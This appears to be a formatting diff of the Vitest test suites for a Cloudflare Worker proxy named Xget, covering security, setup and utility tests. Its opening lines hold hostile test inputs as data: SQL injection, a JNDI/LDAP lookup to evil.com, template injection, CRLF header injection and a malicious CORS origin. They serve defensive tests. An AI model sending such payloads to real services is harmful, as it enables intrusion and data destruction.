'/gh/user/repo\'; DROP TABLE users; --',
"/gh/user/repo'; DROP TABLE users; --",
'/gh/user/repo${jndi:ldap://evil.com}',
'/gh/user/repo{{7*7}}'
];
@@ -165,7 +165,7 @@ describe('Security Features', () => {
'User-Agent': userAgent
}
});
// Should handle malicious user agents safely
expect(response.status).not.toBe(500);
}
@@ -175,10 +175,10 @@ describe('Security Features', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
headers: {
'X-Test': 'value\r\nX-Injected: malicious',
'Referer': 'https://evil.com\r\nX-Injected: header'
Referer: 'https://evil.com\r\nX-Injected: header'
}
});
// Should not allow header injection
expect(response.headers.get('X-Injected')).toBeNull();
});
@@ -186,12 +186,12 @@ describe('Security Features', () => {
describe('Rate Limiting and DoS Protection', () => {
it('should handle concurrent requests gracefully', async () => {
const requests = Array(10).fill().map(() =>
SELF.fetch('https://example.com/gh/test/repo/small-file.txt')
);
const requests = Array(10)
.fill()
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
const responses = await Promise.all(requests);
// All requests should be handled without errors
responses.forEach(response => {
expect(response.status).not.toBe(500);
@@ -202,7 +202,7 @@ describe('Security Features', () => {
// This test would need to be implemented based on actual timeout behavior
// For now, we just verify the request doesn't hang indefinitely
const startTime = Date.now();
try {
await SELF.fetch('https://example.com/gh/test/very-large-file', {
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
@@ -218,9 +218,9 @@ describe('Security Features', () => {
describe('Error Information Disclosure', () => {
it('should not expose internal error details', async () => {
const response = await SELF.fetch('https://example.com/invalid-platform/test');
expect(response.status).toBe(400);
const body = await response.text();
// Should not expose internal paths, stack traces, or sensitive info
expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths
@@ -231,7 +231,7 @@ describe('Security Features', () => {
it('should provide generic error messages', async () => {
const response = await SELF.fetch('https://example.com/invalid');
const body = await response.text();
// Error messages should be generic and safe
expect(body.length).toBeLessThan(200); // Not too verbose
@@ -245,12 +245,12 @@ describe('Security Features', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
'Origin': 'https://evil.com',
Origin: 'https://evil.com',
'Access-Control-Request-Method': 'GET',
'Access-Control-Request-Headers': 'X-Custom-Header'
}
});
// Should either reject OPTIONS or handle CORS securely
if (response.status === 200) {
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
@@ -264,7 +264,7 @@ describe('Security Features', () => {
it('should not execute uploaded content', async () => {
// Test that the service doesn't execute or interpret uploaded content
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
// Should serve content with appropriate headers, not execute it
const contentType = response.headers.get('Content-Type');
if (contentType) {
@@ -273,4 +273,4 @@ describe('Security Features', () => {
}
});
});
});
});
+40 -50
View File
@@ -26,13 +26,13 @@ let testMetrics = {
beforeAll(async () => {
console.log('🚀 Starting Xget test suite...');
testStartTime = Date.now();
// Initialize test environment
await setupTestEnvironment();
// Verify test dependencies
await verifyTestDependencies();
console.log('✅ Test environment initialized');
});
@@ -41,29 +41,29 @@ beforeAll(async () => {
*/
afterAll(async () => {
const duration = Date.now() - testStartTime;
console.log('\n📊 Test Suite Summary:');
console.log(` Duration: ${duration}ms`);
console.log(` Total: ${testMetrics.totalTests}`);
console.log(` Passed: ${testMetrics.passedTests}`);
console.log(` Failed: ${testMetrics.failedTests}`);
console.log(` Skipped: ${testMetrics.skippedTests}`);
// Cleanup test environment
await cleanupTestEnvironment();
console.log('🏁 Test suite completed');
});
/**
* Setup before each test
*/
beforeEach(async (context) => {
beforeEach(async context => {
testMetrics.totalTests++;
// Reset any global state
resetGlobalState();
// Setup test-specific environment
await setupTestCase(context);
});
@@ -71,7 +71,7 @@ beforeEach(async (context) => {
/**
* Cleanup after each test
*/
afterEach(async (context) => {
afterEach(async context => {
// Update test metrics based on result
if (context.meta?.result === 'pass') {
testMetrics.passedTests++;
@@ -80,7 +80,7 @@ afterEach(async (context) => {
} else if (context.meta?.result === 'skip') {
testMetrics.skippedTests++;
}
// Cleanup test-specific resources
await cleanupTestCase(context);
});
@@ -93,17 +93,17 @@ async function setupTestEnvironment() {
if (typeof globalThis.fetch === 'undefined') {
throw new Error('fetch is not available in test environment');
}
// Setup global test utilities
globalThis.TEST_CONFIG = TEST_CONFIG;
// Initialize performance monitoring
if (typeof performance === 'undefined') {
globalThis.performance = {
now: () => Date.now()
};
}
// Setup console overrides for testing
setupConsoleOverrides();
}
@@ -112,20 +112,14 @@ async function setupTestEnvironment() {
* Verify test dependencies
*/
async function verifyTestDependencies() {
const requiredGlobals = [
'Request',
'Response',
'Headers',
'URL',
'URLSearchParams'
];
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
for (const global of requiredGlobals) {
if (typeof globalThis[global] === 'undefined') {
throw new Error(`Required global ${global} is not available`);
}
}
// Verify SELF is available for Cloudflare Workers testing
try {
const { SELF } = await import('cloudflare:test');
@@ -142,17 +136,17 @@ async function verifyTestDependencies() {
*/
function setupConsoleOverrides() {
const originalConsole = { ...console };
// Store original console methods
globalThis.originalConsole = originalConsole;
// Override console methods for testing
console.warn = (...args) => {
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
originalConsole.warn(...args);
}
};
console.log = (...args) => {
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
originalConsole.log(...args);
@@ -168,7 +162,7 @@ function resetGlobalState() {
if (globalThis.testCache) {
globalThis.testCache.clear();
}
// Reset performance counters
if (globalThis.testPerformance) {
globalThis.testPerformance.reset();
@@ -181,11 +175,11 @@ function resetGlobalState() {
async function setupTestCase(context) {
// Create test-specific cache
globalThis.testCache = new Map();
// Setup test-specific performance monitoring
globalThis.testPerformance = {
marks: new Map(),
mark: (name) => {
mark: name => {
globalThis.testPerformance.marks.set(name, performance.now());
},
measure: (name, startMark, endMark) => {
@@ -197,7 +191,7 @@ async function setupTestCase(context) {
globalThis.testPerformance.marks.clear();
}
};
// Mark test start time
globalThis.testPerformance.mark('test-start');
}
@@ -208,22 +202,18 @@ async function setupTestCase(context) {
async function cleanupTestCase(context) {
// Mark test end time
globalThis.testPerformance.mark('test-end');
// Log test performance if verbose
if (process.env.VERBOSE_TESTS) {
const duration = globalThis.testPerformance.measure(
'test-duration',
'test-start',
'test-end'
);
const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end');
console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`);
}
// Cleanup test-specific resources
if (globalThis.testCache) {
globalThis.testCache.clear();
}
if (globalThis.testPerformance) {
globalThis.testPerformance.reset();
}
@@ -238,7 +228,7 @@ async function cleanupTestEnvironment() {
Object.assign(console, globalThis.originalConsole);
delete globalThis.originalConsole;
}
// Cleanup global test utilities
delete globalThis.TEST_CONFIG;
delete globalThis.testCache;
@@ -252,49 +242,49 @@ globalThis.testUtils = {
/**
* Create a test timeout
*/
timeout: (ms) => new Promise((_, reject) => {
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
}),
timeout: ms =>
new Promise((_, reject) => {
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
}),
/**
* Wait for a condition to be true
*/
waitFor: async (condition, timeout = 5000, interval = 100) => {
const start = Date.now();
while (Date.now() - start < timeout) {
if (await condition()) {
return true;
}
await new Promise(resolve => setTimeout(resolve, interval));
}
throw new Error(`Condition not met within ${timeout}ms`);
},
/**
* Retry a function with exponential backoff
*/
retry: async (fn, maxRetries = 3, baseDelay = 100) => {
let lastError;
for (let i = 0; i < maxRetries; i++) {
try {
return await fn();
} catch (error) {
lastError = error;
if (i < maxRetries - 1) {
const delay = baseDelay * Math.pow(2, i);
await new Promise(resolve => setTimeout(resolve, delay));
}
}
}
throw lastError;
}
};
// Export test configuration for use in other files
export { TEST_CONFIG, testMetrics };
+44 -56
View File
@@ -5,35 +5,29 @@ import { describe, expect, it } from 'vitest';
function isGitRequest(request, url) {
// Check for Git-specific endpoints
if (url.pathname.endsWith("/info/refs")) {
if (url.pathname.endsWith('/info/refs')) {
return true;
}
if (
url.pathname.endsWith("/git-upload-pack") ||
url.pathname.endsWith("/git-receive-pack")
) {
if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) {
return true;
}
// Check for Git user agents
const userAgent = request.headers.get("User-Agent") || "";
if (userAgent.includes("git/") || userAgent.startsWith("git/")) {
const userAgent = request.headers.get('User-Agent') || '';
if (userAgent.includes('git/') || userAgent.startsWith('git/')) {
return true;
}
// Check for Git-specific query parameters
if (url.searchParams.has("service")) {
const service = url.searchParams.get("service");
return service === "git-upload-pack" || service === "git-receive-pack";
if (url.searchParams.has('service')) {
const service = url.searchParams.get('service');
return service === 'git-upload-pack' || service === 'git-receive-pack';
}
// Check for Git-specific content types
const contentType = request.headers.get("Content-Type") || "";
if (
contentType.includes("git-upload-pack") ||
contentType.includes("git-receive-pack")
) {
const contentType = request.headers.get('Content-Type') || '';
if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) {
return true;
}
@@ -43,40 +37,34 @@ function isGitRequest(request, url) {
function validateRequest(request, url) {
const CONFIG = {
SECURITY: {
ALLOWED_METHODS: ["GET", "HEAD"],
ALLOWED_METHODS: ['GET', 'HEAD'],
MAX_PATH_LENGTH: 2048
}
};
// Allow POST method for Git operations
const allowedMethods = isGitRequest(request, url)
? ["GET", "HEAD", "POST"]
? ['GET', 'HEAD', 'POST']
: CONFIG.SECURITY.ALLOWED_METHODS;
if (!allowedMethods.includes(request.method)) {
return { valid: false, error: "Method not allowed", status: 405 };
return { valid: false, error: 'Method not allowed', status: 405 };
}
if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) {
return { valid: false, error: "Path too long", status: 414 };
return { valid: false, error: 'Path too long', status: 414 };
}
return { valid: true };
}
function addSecurityHeaders(headers) {
headers.set(
"Strict-Transport-Security",
"max-age=31536000; includeSubDomains; preload"
);
headers.set("X-Frame-Options", "DENY");
headers.set("X-XSS-Protection", "1; mode=block");
headers.set("Referrer-Policy", "strict-origin-when-cross-origin");
headers.set(
"Content-Security-Policy",
"default-src 'none'; img-src 'self'; script-src 'none'"
);
headers.set("Permissions-Policy", "interest-cohort=()");
headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
headers.set('X-Frame-Options', 'DENY');
headers.set('X-XSS-Protection', '1; mode=block');
headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'");
headers.set('Permissions-Policy', 'interest-cohort=()');
return headers;
}
@@ -85,21 +73,21 @@ describe('Utility Functions', () => {
it('should identify Git info/refs requests', () => {
const request = new Request('https://example.com/repo.git/info/refs');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should identify Git upload-pack requests', () => {
const request = new Request('https://example.com/repo.git/git-upload-pack');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should identify Git receive-pack requests', () => {
const request = new Request('https://example.com/repo.git/git-receive-pack');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
@@ -108,14 +96,14 @@ describe('Utility Functions', () => {
headers: { 'User-Agent': 'git/2.34.1' }
});
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should identify Git requests by service parameter', () => {
const request = new Request('https://example.com/repo.git/info/refs?service=git-upload-pack');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
@@ -125,21 +113,21 @@ describe('Utility Functions', () => {
headers: { 'Content-Type': 'application/x-git-upload-pack-request' }
});
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should not identify regular file requests as Git', () => {
const request = new Request('https://example.com/repo/file.txt');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(false);
});
it('should handle edge cases gracefully', () => {
const request = new Request('https://example.com/');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(false);
});
});
@@ -148,7 +136,7 @@ describe('Utility Functions', () => {
it('should allow GET requests', () => {
const request = new Request('https://example.com/test', { method: 'GET' });
const url = new URL(request.url);
const result = validateRequest(request, url);
expect(result.valid).toBe(true);
});
@@ -156,7 +144,7 @@ describe('Utility Functions', () => {
it('should allow HEAD requests', () => {
const request = new Request('https://example.com/test', { method: 'HEAD' });
const url = new URL(request.url);
const result = validateRequest(request, url);
expect(result.valid).toBe(true);
});
@@ -164,7 +152,7 @@ describe('Utility Functions', () => {
it('should reject PUT requests for non-Git operations', () => {
const request = new Request('https://example.com/test', { method: 'PUT' });
const url = new URL(request.url);
const result = validateRequest(request, url);
expect(result.valid).toBe(false);
expect(result.status).toBe(405);
@@ -176,7 +164,7 @@ describe('Utility Functions', () => {
headers: { 'User-Agent': 'git/2.34.1' }
});
const url = new URL(request.url);
const result = validateRequest(request, url);
expect(result.valid).toBe(true);
});
@@ -185,7 +173,7 @@ describe('Utility Functions', () => {
const longPath = '/' + 'a'.repeat(3000);
const request = new Request(`https://example.com${longPath}`);
const url = new URL(request.url);
const result = validateRequest(request, url);
expect(result.valid).toBe(false);
expect(result.status).toBe(414);
@@ -195,7 +183,7 @@ describe('Utility Functions', () => {
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
const request = new Request(`https://example.com${normalPath}`);
const url = new URL(request.url);
const result = validateRequest(request, url);
expect(result.valid).toBe(true);
});
@@ -205,7 +193,7 @@ describe('Utility Functions', () => {
it('should add all required security headers', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
expect(result.get('Strict-Transport-Security')).toBeTruthy();
expect(result.get('X-Frame-Options')).toBe('DENY');
expect(result.get('X-XSS-Protection')).toBe('1; mode=block');
@@ -217,7 +205,7 @@ describe('Utility Functions', () => {
it('should set HSTS with proper directives', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
const hsts = result.get('Strict-Transport-Security');
expect(hsts).toContain('max-age=31536000');
expect(hsts).toContain('includeSubDomains');
@@ -227,7 +215,7 @@ describe('Utility Functions', () => {
it('should set CSP with restrictive policy', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
const csp = result.get('Content-Security-Policy');
expect(csp).toContain("default-src 'none'");
expect(csp).toContain("script-src 'none'");
@@ -236,9 +224,9 @@ describe('Utility Functions', () => {
it('should not overwrite existing headers', () => {
const headers = new Headers();
headers.set('X-Custom-Header', 'custom-value');
const result = addSecurityHeaders(headers);
expect(result.get('X-Custom-Header')).toBe('custom-value');
expect(result.get('X-Frame-Options')).toBe('DENY');
});
@@ -246,7 +234,7 @@ describe('Utility Functions', () => {
it('should return the same Headers object', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
expect(result).toBe(headers);
});
});
@@ -261,7 +249,7 @@ describe('Utility Functions', () => {
testUrls.forEach(urlString => {
expect(() => new URL(urlString)).not.toThrow();
const url = new URL(urlString);
expect(url.protocol).toBe('https:');
expect(url.hostname).toBe('example.com');
@@ -271,7 +259,7 @@ describe('Utility Functions', () => {
it('should handle query parameters correctly', () => {
const url = new URL('https://example.com/gh/repo?ref=main&path=src');
expect(url.searchParams.get('ref')).toBe('main');
expect(url.searchParams.get('path')).toBe('src');
expect(url.searchParams.has('nonexistent')).toBe(false);
@@ -279,7 +267,7 @@ describe('Utility Functions', () => {
it('should handle URL fragments correctly', () => {
const url = new URL('https://example.com/gh/repo/README.md#section');
expect(url.hash).toBe('#section');
expect(url.pathname).toBe('/gh/repo/README.md');
});
@@ -291,7 +279,7 @@ describe('Utility Functions', () => {
method: 'GET',
headers: {
'User-Agent': 'Xget/1.0',
'Accept': 'application/json'
Accept: 'application/json'
}
});
@@ -348,4 +336,4 @@ describe('Utility Functions', () => {
await expect(asyncFunction()).rejects.toThrow('Test error');
});
});
});
});